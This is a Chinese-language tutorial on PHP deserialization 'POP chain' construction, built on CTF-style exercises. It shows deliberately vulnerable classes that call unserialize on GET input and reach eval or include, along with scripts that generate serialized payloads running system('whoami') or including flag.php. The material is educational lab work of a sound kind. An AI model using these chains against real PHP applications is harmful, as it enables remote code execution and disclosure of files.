PHP反序列化基础之简单的POP链构造
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫面向属性编程",POP(Property Oriented Programming)
pop链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一中payload。
poc(全称:proof of concept)中文译作概念验证。在安全界可理解成漏洞验证程序。pc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
基础写法:
<?php
class index {
private $test;
public function __construct(){
$this->test = new normal();//5.所以在构造的时候,将这个位置改了就好
}
public function __destruct(){
$this->test->action();//3.这里调用了action()方法,但是这个action来自normal
//恰好这里是destruct方法,在反序列化的时候会被调用
//所以接下来的问题就是,如何让test对象变成$test = new evil()
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){//2.如何调用action()方法
eval($this->test2);
//1.这是解题的最终目的,执行eval(test2)
}
}
unserialize($_GET['test']);//4.有反序列化操作,也就是说可以调用destruct()方法,
//让destruct去执行test中的action
//也就是说通过反序列化将$test=new evil()给传进去,
//来覆盖之前的construct中的内容 (其实,construct根本不会被调用)
?>
构造pop链(写法不唯一):
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2 = "system('whoami');";
public function action(){
eval($this->test2);
}
}
$test = new index();
echo urlencode(serialize($test))
?>
还有其它写法(但是对于本题不适用,因为test是私有属性,在此处只是参考一下写法):
<?php
class index {
private $test;
}
class evil {
var $test2;
}
$a = new evil();
$a -> test2 = "system('whoami');";
$b = new index();
$b -> test = $a;
echo serialize($b)
?>
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:17:"system('whoami');";}}
非要使用的话,就手动修改为:
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:17:"system('whoami');";}}
pop链中魔术方法相关知识:
魔术方法被触发的前提是:魔术方法所在的类或对象被调用!!!
<?php
class fast {
public $source;
public function __wakeup(){//只有当反序列化时候的字符串中有这个类对象的,才会调用到
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
//如果想要调用这个方法就必须$source=new sec(),只有在上面的wakeup被调用的时候
//echo $this->source;这句代码才会继续调用到toString
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$a = new fast();
$a ->source=new sec();
echo serialize($a)
?>
可以简化为:
<?php
class fast {
public $source;
}
class sec {
}
$a = new fast();
$a ->source=new sec();
echo serialize($a)
?>
例题:
<?php
//flag is in flag.php
class Modifier {
private $var;//-1_2.var=flag.php
public function append($value)//-2.也就是说要想办法调用这个函数
{
include($value);//-1_1.根据提示这里的value=flag.php
echo $flag;//-1.最重要执行到这个地方
}
public function __invoke(){
$this->append($this->var);//-3.这里调用了append(value=var)方法,想办法触发invoke()
//调用函数的方式调用对象
}
}
class Show{
public $source;
public $str;
public function __toString(){//-7如何调用toString()呢?
//将一个对象当作字符使用的时候会调用
return $this->str->source;//-6.这里调用了类中的str中的source,str中不存在source
//会调用get方法,为了能调用到test中的get方法
//就需要str=new Test()
}
public function __wakeup(){//-9.反序列化的时候会调用这个方法
echo $this->source; //-8也就只剩这里能够触发toString了,但是此时source只是一个变量
//想要触发就得给source赋一个对象,又得能调用到toString
//所以就只能source=new Show()
}
}
class Test{
public $p;//-4_1.调用invoke的前提是需要让p = new modify,
//这样才能触发modify中的invoke
public function __construct(){
$this->p = array();
}
public function __get($key){//-5.如何调用get()呢?
//获取一个访问不到的属性的时候会调用get
$function = $this->p;
return $function();//-4.这里以调用函数的方式调用了方法,会调用invoke
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);//-10为了反序列化的时候能够调用到Show中的wakeup
//所以就需要构造出的序列化字符串中有Show实例化后的对象
}
?>
构造::
<?php
//flag is in flag.php
class Modifier {
private $var="flag.php";//-1_2.var=flag.php
public function append($value)//-2.也就是说要想办法调用这个函数
{
include($value);//-1_1.根据提示这里的value=flag.php
echo $flag;//-1.最重要执行到这个地方
}
public function __invoke(){
$this->append($this->var);//-3.这里调用了append(value=var)方法,想办法触发invoke()
//调用函数的方式调用对象
}
}
class Show{
public $source;
public $str;
public function __toString(){//-7如何调用toString()呢?
//将一个对象当作字符使用的时候会调用
return $this->str->source;//-6.这里调用了类中的str中的source,str中不存在source
//会调用get方法,为了能调用到test中的get方法
//就需要str=new Test()
}
public function __wakeup(){//-9.反序列化的时候会调用这个方法
echo $this->source; //-8也就只剩这里能够触发toString了,但是此时source只是一个变量
//想要触发就得给source赋一个对象,又得能调用到toString
//所以就只能source=new Show()
}
}
class Test{
public $p;//-4_1.调用invoke的前提是需要让p = new modify,
//这样才能触发modify中的invoke
public function __construct(){
$this->p = array();
}
public function __get($key){//-5.如何调用get()呢?
//获取一个访问不到的属性的时候会调用get
$function = $this->p;
return $function();//-4.这里以调用函数的方式调用了方法,会调用invoke
}
}
//if(isset($_GET['pop'])){
// unserialize($_GET['pop']);//-10为了反序列化的时候能够调用到Show中的wakeup
// //所以就需要构造出的序列化字符串中有Show实例化后的对象
//}
$mod = new Modifier();
$show = new Show();
$test = new Test();
$show -> source = $show;
$show -> str = $test;
$test -> p = $mod;
echo urlencode(serialize($show))
?>
简化后(删掉没用的):
<?php
class Modifier {
private $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod = new Modifier();
$show = new Show();
$test = new Test();
$show -> source = $show;
$show -> str = $test;
$test -> p = $mod;
echo urlencode(serialize($show))
?>